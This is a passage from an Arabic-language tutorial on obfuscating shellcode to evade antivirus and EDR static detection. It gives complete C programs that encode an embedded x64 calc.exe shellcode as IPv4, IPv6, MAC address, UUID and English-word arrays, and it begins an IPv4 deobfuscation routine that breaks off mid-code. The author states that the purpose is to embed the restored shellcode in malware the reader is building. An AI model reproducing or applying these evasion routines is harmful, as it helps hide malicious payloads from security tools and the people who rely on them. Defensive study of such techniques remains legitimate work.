Payload Obfuscation

HomeLab

السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ

اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ،

Introduction

[+] إتكلمنا فـ المقالة اللـ فاتت عن الـ Payload Encryption ، وجربنا نـ Bypass الـ Windows Defender وكمان Kaspersky .. والنتيجة كانت إن:

  • الـ XOR نجح ضد Windows Defender ، بس اتكشف بسهولة مع الـ Kaspersky.
  • أما الـ RC4 والـ AES ، فعدوا من الاتنين بدون مشاكل.

[+] النهاردة بقي هنتكلم عن طريقة تانية نـ Bypass الـ Static Analysis ، وهي الـ Obfuscation.

[+] وهنتكلم عن:

  1. Obfuscation :
  2. 1.1 Shellcode to IPv4
    1.2 Shellcode to IPv6
    1.3 Shellcode to MAC Address
    1.4 shellcode to UUIDs
    1.5 ShellCode to Words

  3. Deobfuscation :
  4. 2.1 IPv4 to Shellcode
    2.2 IPv6 to shellcode
    2.3 MAC Address to shellcode
    2.4 UUID to shellcode
    2.5 Words to shellcode

  5. Tools :
  6. 3.1 HellShell
    3.2 MiniShell

1. Obfuscation :

[+] فكرة الـ Obfuscation هي أننا بنحول الشيل كود من كونه داتا خبيثة لـ داتا معلومة .. يعني نخلي شكلها عادي عشان ميتشكش فيها.

  • زي إننا نحول الشيل كود ده لـ مجموعة IPs .. هنا الـ AV / EDR هيفتكروا إن دي حاجه تبع البرنامج وداتا عادية ، وهو مش ذكي لدرجة إنه يفكر إنها شيل كود ويحاول يرجعها لأصلها.

[+] يلا نبدأ نتكلم عن إزاي نعمل ده :

1.1 Shellcode to IPv4

[+] الفكرة هنا إننا بنحول كل البايتس فـ الشيل كود لـ أرقام .. ونعدي ع كل 4 أرقام مع بعض نضيف بينهم دوت ، عشان يكون ع شكل الـ IP المعروف .. تعالي نبدأ الخطوات ونشوف هنعمل إيه :

  1. أول جزء ودي العملية اللـ هتاخد كل 4 بايتس وتحولها لـ أرقام عشان يكون بشكل الـ IP .. ودي بتاخد 4 متغيرات ، وبتستخدم malloc(16) عشان تحجز مكان فـ الميموري تقدر تخزن فيه العنوان كـ string (أقصي طول لـ IPv4 هو 15 + الـ null terminator). .. وبتستخدم sprintf عشان تنسق الأرقام بالشكل [a.b.c.d].
  2. ShellcodeToIPV4-1
  3. لو جربت تشغل الكود من غير السطر ده ، الـ Visual Studio هيقولك إن استخدام الدالة sprintf مش أمان .. ودا لإنها مبتعملش فحص لحجم الداتا ، يعني لو كانت الداتا اللـ داخله أكبر من المساحة المحجوزة ، ممكن يحصل Buffer Overflow .. وMicrosoft بتنصح باستخدام sprintf_s .. بس حاليا الموضوع ده مش هنركز عليه فـ هنوقف التحذير بالسطر ده.
  4. ShellcodeToIPV4-2
  5. تاني جزء العملية ShellcodeToIPv4Output ودي اللـ بتحول الشيل كود لـ عناوين IPv4 وتطبعها فـ شكل مصفوفة نصية .. وفـ الأول بتتأكد إن الشيل كود والحجم مش صفر ولا Null .. وبعدها بتبدأ تطبع تعريف المصفوفة اللـ بيكون فيها الـ Ips .. بعد كده ، بتعدي ع كل 4 بايت للدالة ShellcodeToIPv4 واللـ بتكون عنوان IP بالنمط "X.X.X.X" .. ولما بتخلص طباعة بتفضي المنطقة اللـ كانت محجوزة.
  6. ShellcodeToIPV4-3
  7. آخر جزء بنضيف الشيل كود ، والـ Main Function وهنا بتبدأ تستدعي الدالة ShellcodeToIPv4Output وبتديلها الشيل كود عشان تبدأ عملية التحويل.
  8. ShellcodeToIPV4-4

[+] يلا نـ رن :

  • هتلاقي إن الشيل كود اتحول لـ IPs والدنيا تمام.
  • ShellcodeToIPV4-5

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

#pragma warning (disable:4996)

char* ShellcodeToIPv4(int a, int b, int c, int d) {
  char* Output = (char*)malloc(16);
  if (Output == NULL) {
    return NULL;
  }
  sprintf(Output, "%d.%d.%d.%d", a, b, c, d);
  return Output;
}

BOOL ShellcodeToIPv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {

  if (pShellcode == NULL || ShellcodeSize == 0 ) {
    return FALSE;
  }

  printf("char* Ipv4Array[%d] = {\n\t", (int)(ShellcodeSize / 4));

  int counter = 0;

  for (int i = 0; i < ShellcodeSize; i += 4) {
    counter++;

    char* IP = ShellcodeToIPv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);

    if (IP == NULL) {
      return FALSE;
    }

    if (i == ShellcodeSize - 4) {
      printf("\"%s\"", IP);
    }
    else {
      printf("\"%s\", ", IP);
    }

    free(IP);

    if (counter % 4 == 0) {
      printf("\n\t");
    }
  }

  printf("\n};\n\n");

  return TRUE;
}

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {

  printf("[i] Press <Enter> to Convert ShellCode to Ipv4...\n\n");
  getchar();

  if (!ShellcodeToIPv4Output(shellcode, sizeof(shellcode) - 1)) {
    return -1;
  }

  printf("[i] Press <Enter> to Quit...\n");
  getchar();

  return 0;
}

1.2 Shellcode to IPv6

[+] فـ الجزء ده ، هنعدل شوية حاجات كدا .. تعالي نشوف :

  1. هنزود عدد المتغيرات فـ الدالة بما يتناسب مع حجم الـ IPv6 :
  2. ShellcodeToIPV6-1
  3. وهنا دي العملية اللـ هتحول الشيل كود لـ IPv6 .. بنفس فكرة الـ IPv4 :
  4. ShellcodeToIPV6-2
  5. ودا كدا الشيل كود والـ Main Function.
  6. ShellcodeToIPV6-3

[+] يلا نـ رن :

  • تمام ✅
  • ShellcodeToIPV6-4

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

#pragma warning (disable:4996)

char* ShellcodeToIPv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
  char* Output = (char*)malloc(40);
  if (Output == NULL) {
    return NULL;
  }
  sprintf(Output, "%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x", a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p);
    return Output;
}

BOOL ShellcodeToIPv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
  if (pShellcode == NULL || ShellcodeSize == 0) {
    return FALSE;
  }

  printf("char* Ipv6Array[%d] = {\n\t", (int)(ShellcodeSize / 16));

  int counter = 0;

  for (int i = 0; i < ShellcodeSize; i += 16) {
    counter++;

    char* IP = ShellcodeToIPv6(
      pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
      pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
      pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
      pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
  );

    if (IP == NULL) {
      return FALSE;
    }

    if (i + 16 >= ShellcodeSize) {
      printf("\"%s\"", IP);
    }
    else {
      printf("\"%s\", ", IP);
    }

    free(IP);

    if (counter % 2 == 0) {
      printf("\n\t");
    }
  }

  printf("\n};\n\n");

  return TRUE;
}

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
  printf("[i] Press <Enter> to Convert ShellCode to Ipv6...\n\n");
  getchar();

  if (!ShellcodeToIPv6Output(shellcode, sizeof(shellcode) - 1)) {
    return -1;
  }

  printf("[i] Press <Enter> to Quit...\n");
  getchar();

  return 0;
}

1.3 Shellcode to MAC Address :

[+] بعد مـ شوفنا إزاي نحول الشيل كود لـ IPv4 وIPv6 عشان نعمل تمويه من برامج الـ AV / EDR ، دلوقتي هنشوف تكنيك تاني ، وهو تحويله لـ MAC Addresses.

[+] الفكرة هنا إن أي جهاز ع الشبكة بيكون ليه MAC Address مميز ، وهو عبارة عن 6 بايتس مكتوبة بالـ Hexadecimal ومفصولة بالعلامة (-) ، تعالي نشوف الكود :

  1. بما إن كل MAC Address بيتكون من 6 بايتس ، بنحدد ده عشان نقسم الشيل كود عليه.
  2. ShellcodeToMAC-1
  3. الدالة اللـ بتحول الشيل كود لـ MAC Addresses ، وبتتأكد إن الشيل كود وحجمة ميكونوش NULL ولا قيمتهم 0.
  4. ShellcodeToMAC-2
  5. هنا اللوب بتمشي ع كل 6 بايتس مع بعض ، وبتحولهم لـ MAC Address بالشكل ده "XX-XX-XX-XX-XX-XX" ، و كل بايت بيتحول لقيمته بالـ Hexadecimal بترميز %02X (يعني دايما رقمين حتى لو كان أقل من 16).
  6. ShellcodeToMAC-3
  7. وهنا لزوم التنظيم والشكل العام يكون لطيف ، وإن الفواصل تتحط بشكل صح وهكذا.
  8. ShellcodeToMAC-4
  9. آخر جزء ودا الشيل كود نفسة ، والـ Main Function .. وفيها شوية حاجات ينطبعوا وانها بتستدعي الداله نفسها .. والكلام دا إنت عرفته فـ الطُرق اللـ فوق مش محتاج أشرح.
  10. ShellcodeToMAC-5

[+] يلا نـ رن :

  • زي الفل ✅
  • ShellcodeToMAC-6

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

#define MAC_BLOCK_SIZE 6

BOOL ShellcodeToMAC(IN PBYTE pShellcode, IN SIZE_T ShellcodeSize) {
  if (pShellcode == NULL || ShellcodeSize == 0) {
    return FALSE;
  }

  printf("char* MacArray[%d] = {\n\t", (int)(ShellcodeSize / MAC_BLOCK_SIZE));

  int counter = 0;

  for (int i = 0; i < ShellcodeSize; i += MAC_BLOCK_SIZE) {
    counter++;

    printf("\"%02X-%02X-%02X-%02X-%02X-%02X\"",
      pShellcode[i], pShellcode[i + 1], pShellcode[i + 2],
      pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);

    if (i + MAC_BLOCK_SIZE >= ShellcodeSize) {
      printf("\n");
    }
    else {
      printf(", ");
    }

    if (counter % 4 == 0) {
      printf("\n\t");
    }
  }

  printf("};\n\n");

  return TRUE;
}
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
  printf("[i] Press <Enter> to Convert ShellCode to MAC Addresses...\n\n");
  getchar();

  if (!ShellcodeToMAC(shellcode, sizeof(shellcode) - 1)) {
    return -1;
  }

  printf("[i] Press <Enter> to Quit...\n");
  getchar();

  return 0;
}

1.4 Shellcode to UUIDs :

[+] هنتكلم عن تكنيك تاني وهو Shellcode to UUIDs ، والـ UUID أو الـ Universally Unique Identifier هو رقم فريد عالميا بيتكون من 16 بايت وبيتكتب فـ صيغة Hexadecimal بالشكل ده:

550e8400-e29b-41d4-a716-446655440000

[+] والهدف من استخدام UUIDs هو إخفاء الشيل كود فـ شكل بيانات شرعية ، لإن UUIDs بتستخدم فـ تطبيقات كتير زي تحديد الأجهزة ، إدارة البيانات ، والـ COM Objects ، فده بيقلل من احتمالية كشفها من برامج الـ AV / EDR .. يلا نشوف الكود :

  1. الـ Rpc.h والـ Rpcrt4.lib بيتم استخدامهم لتحويل البيانات لـ UUID.
  2. #pragma comment(lib, "Rpcrt4.lib")
    بتضيف مكتبة Rpcrt4.lib وقت الـ Linking، ودي مكتبة مسؤولة عن التعامل مع UUIDs.
    ShellcodeToUUID-1
  3. باقي الأجزاء دي سهلة بالنسبالك لأنها تكرار لنفس الأكواد للطُرق اللـ فوق :
  4. ShellcodeToUUID-2
  5. الشيل كود والـ main :
  6. ShellcodeToUUID-3

[+] يلا نـ رن :

  • تمام ✅
  • ShellcodeToUUID-4

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>
#include <Rpc.h>

#pragma comment(lib, "Rpcrt4.lib")

#pragma warning(disable:4996)

#define UUID_BLOCK_SIZE 16

BOOL ShellcodeToUUID(IN PBYTE pShellcode, IN SIZE_T ShellcodeSize) {
  if (pShellcode == NULL || ShellcodeSize == 0) {
    return FALSE;
  }

  printf("char* UuidArray[%d] = {\n\t", (int)(ShellcodeSize / UUID_BLOCK_SIZE));

  int counter = 0;

  for (int i = 0; i < ShellcodeSize; i += UUID_BLOCK_SIZE) {
    counter++;

    UUID uuid;
    memcpy(&uuid, pShellcode + i, UUID_BLOCK_SIZE);

    RPC_CSTR uuidString;
    if (UuidToStringA(&uuid, &uuidString) != RPC_S_OK) {
      printf("[!] UuidToStringA Failed at block %d\n", counter);
      return FALSE;
    }

    printf("\"%s\"", uuidString);
    RpcStringFreeA(&uuidString);

    if (i + UUID_BLOCK_SIZE >= ShellcodeSize) {
      printf("\n");
    }
    else {
      printf(", ");
    }

    if (counter % 2 == 0) {
      printf("\n\t");
    }
  }
  printf("};\n\n");

  return TRUE;
}
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
  printf("[i] Press <Enter> to Convert ShellCode to UUIDs...\n\n");
  getchar();

  if (!ShellcodeToUUID(shellcode, sizeof(shellcode) - 1)) {
    return -1;
  }

  printf("[i] Press <Enter> to Quit...\n");
  getchar();

  return 0;
}

1.5 ShellCode to Words :

[+] دلوقتي هنتكلم عن آخر تكنيك .. هنحول الشيل كود لـ كلمات إنجليزية عادية ، بحيث يبان كأنه نص عشوائي لكنه شرعي.

[+] فكرته إن بدل مـ نخزن الشيل كود فـ صورة Hex أو Binary ، بنعمل Mapping لكل Byte لـ كلمة إنجليزية ، فـ الشيل كود بيتحول لمصفوفة من الكلمات ، وده بيقلل الشكوك بشكل كبير.

[+] تعالي نشوف أهم الأجزاء فـ الكود ، لإن زي مقولتلك هو تكرار لنفس الأكواد اللـ فوق مع شوية تعديلات :

  1. أول جزء ودا الـ Dictionary بتاعنا اللـ هيستبدل منه البايتس فـ الشيل كود بالكلمات دي :
  2. ShellcodeToWords-1
  3. وهنا دي الفانكشن اللـ هتعدي ع كل بايت من الشيل كود وتحولة لـ كلمة من الديكشيناري :
  4. ShellcodeToWords-2
  5. الشيل كود والـ main.
  6. ShellcodeToWords-3

[+] يلا نـ رن :

  • تمام ✅
  • ShellcodeToWords-4

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

#pragma warning (disable:4996)

const char* translation_table[256] = {
"music","taste","wings","audio","endif","winds","crime","bonus","lanka","honey","simon","manor","screw","puppy","surge","watts",
"upper","dance","touch","heavy","tumor","scale","acute","wider","strap","tooth","colon","karen","fever","quiet","chart","donna",
"yacht","human","devil","belly","heath","class","shall","these","funds","discs","atlas","dying","arrow","spies","pairs","young",
"amber","exist","glory","offer","swift","focal","larry","bobby","tires","items","skirt","adult","blond","roman","stick","elvis",
"slope","scuba","value","lexus","cells","happy","joins","india","yards","smoke","train","bacon","sheet","blink","dairy","latex",
"feels","guide","shoot","holly","armor","bench","tours","cedar","fires","bands","firms","roads","known","going","mails","speak",
"laugh","heard","study","logan","packs","level","carey","shirt","loose","tapes","goals","maine","uncle","shine","dense","cases",
"cache","cards","favor","disks","coins","nokia","enter","fatty","bring","anger","singh","tribe","notre","saint","emily","moses",
"brown","kathy","busty","squad","gamma","debug","nikon","judge","guest","claim","lobby","bears","maybe","close","basic","catch",
"alarm","meant","chain","meyer","vital","clock","keith","ports","theme","enjoy","abuse","rooms","pipes","broad","words","outer",
"point","users","paste","aruba","hairy","spice","taxes","teach","paris","plate","roger","title","stone","gates","texts","smart",
"trade","berry","worry","photo","tunes","storm","panic","pumps","hello","fuzzy","mouth","joyce","grows","email","teddy","pills",
"birth","games","pride","skype","meter","yours","lyric","means","picks","diane","wagon","rouge","kevin","focus","scott","dolls",
"frost","today","small","alpha","track","smith","james","wanna","buses","spots","eight","stuck","indie","clean","weeks","jewel",
"solve","opens","civic","usage","array","nodes","mason","roots","sugar","dirty","sight","jesus","lloyd","strip","dream","might",
"tions","grams","brass","hired","julia","crazy","flood","march","combo","drops","delta","shaft","spank","jesse","arena","visit"
};

BOOL ShellcodeToWordsOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
  if (pShellcode == NULL || ShellcodeSize == 0) {
    return FALSE;
  }

  printf("unsigned char* translated_shellcode[%d] = {\n\t", (int)(ShellcodeSize));

  for (int i = 0; i < ShellcodeSize; i++) {
    printf("\"%s\"%s", translation_table[pShellcode[i] % 256], (i == ShellcodeSize - 1) ? "" : ", ");
    if ((i + 1) % 8 == 0) {
      printf("\n\t");
    }
  }

  printf("\n};\n\n");
  return TRUE;
}
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
  printf("[i] Press <Enter> to Convert ShellCode to Words...\n\n");
  getchar();

  if (!ShellcodeToWordsOutput(shellcode, sizeof(shellcode) - 1)) {
    return -1;
  }

  printf("[i] Press <Enter> to Quit...\n");
  getchar();

  return 0;
}

2. Deobfuscation :

[+] بعد مـ عرفت 5 طرق مختلفة لـ Obfuscation .. وطبعا مش مستنيني أقولك إنك تقدر تعمل أي حاجه تانيه ودول ما هم إلا مجرد بديلك أمثله ، وما بعد ذلك إنت ودماغك .. دلوقتي هنحتاج نرجع اللـ عملناه ده لـ شيل كود تاني عشان نقدر نضيفة جوا الـ Malware اللـ إحنا بنعملة.

2.1 IPv4 to Shellcode :

[+] هنا هنعكس اللـ عملناه فوق ، ونرجع الـ IPv4 لـ شيل كود :

  1. دي عناوين الـ IPv4 اللـ طلعناهم من الـ Obfuscation.
  2. IPv4ToShellcode-1
  3. و دا تعريف دالة API من مكتبة NTDLL وهي RtlIpv4StringToAddressA ، ودي بتُستخدم عشان تحول عناوين الـ IP وترجعة للشيل كود.
  4. IPv4ToShellcode-2
  5. الدالة المسؤولة عن فك التشفير Ipv4Deobfuscation
  6. بتعمل تحميل للـ Address بتاع دالة RtlIpv4StringToAddressA من NTDLL باستخدام GetProcAddress.
  7. بتحجز مكان فـ الميموري بحجم NumberOfElements × 4 بايت (لأن كل IP يحمل 4 بايت).
  8. هنا بتعدي ع كل عنوان IP وتباصيه للدالة RtlIpv4StringToAddressA ، وهي بتحولة لـ 4 بايتس ، وبتتخزن فـ pBuffer.
  9. IPv4ToShellcode-3
  10. ودي كدا الـ main :
    IPv4ToShellcode-4

[+] يلا نـ رن :

  • تمام ✅
  • IPv4ToShellcode-5

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

char* Ipv4Array[] = {
  "252.72.131.228", "240.232.192.0", "0.0.65.81", "65.80.82.81", "86.72.49.210", "101.72.139.82", "96.72.139.82", "24.72.139.82",
  "32.72.139.114", "80.72.15.183", "74.74.77.49", "201.72.49.192", "172.60.97.124", "2.44.32.65", "193.201.13.65", "1.193.226.237",
  "82.65.81.72", "139.82.32.139", "66.60.72.1", "208.139.128.136", "0.0.0.72", "133.192.116.103", "72.1.208.80", "139.72.24.68",
  "139.64.32.73", "1.208.227.86", "72.255.201.65", "139.52.136.72", "1.214.77.49", "201.72.49.192", "172.65.193.201", "13.65.1.193",
  "56.224.117.241", "76.3.76.36", "8.69.57.209", "117.216.88.68", "139.64.36.73", "1.208.102.65", "139.12.72.68", "139.64.28.73",
  "1.208.65.139", "4.136.72.1", "208.65.88.65", "88.94.89.90", "65.88.65.89", "65.90.72.131", "236.32.65.82", "255.224.88.65",
  "89.90.72.139", "18.233.87.255", "255.255.93.72", "186.1.0.0", "0.0.0.0", "0.72.141.141", "1.1.0.0", "65.186.49.139",
  "111.135.255.213", "187.240.181.162", "86.65.186.166", "149.189.157.255", "213.72.131.196", "40.60.6.124", "10.128.251.224", "117.5.187.71",
  "19.114.111.106", "0.89.65.137", "218.255.213.99", "97.108.99.46", "101.120.101.0"
};

#define NumberOfElements 69

typedef NTSTATUS(NTAPI* fnRtlIpv4StringToAddressA)(
  PCSTR S,
  BOOLEAN Strict,
  PCSTR* Terminator,
  PVOID Addr
  );

BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
  PBYTE pBuffer = NULL,
  TmpBuffer = NULL;

  SIZE_T sBuffSize = NULL;

  PCSTR Terminator = NULL;

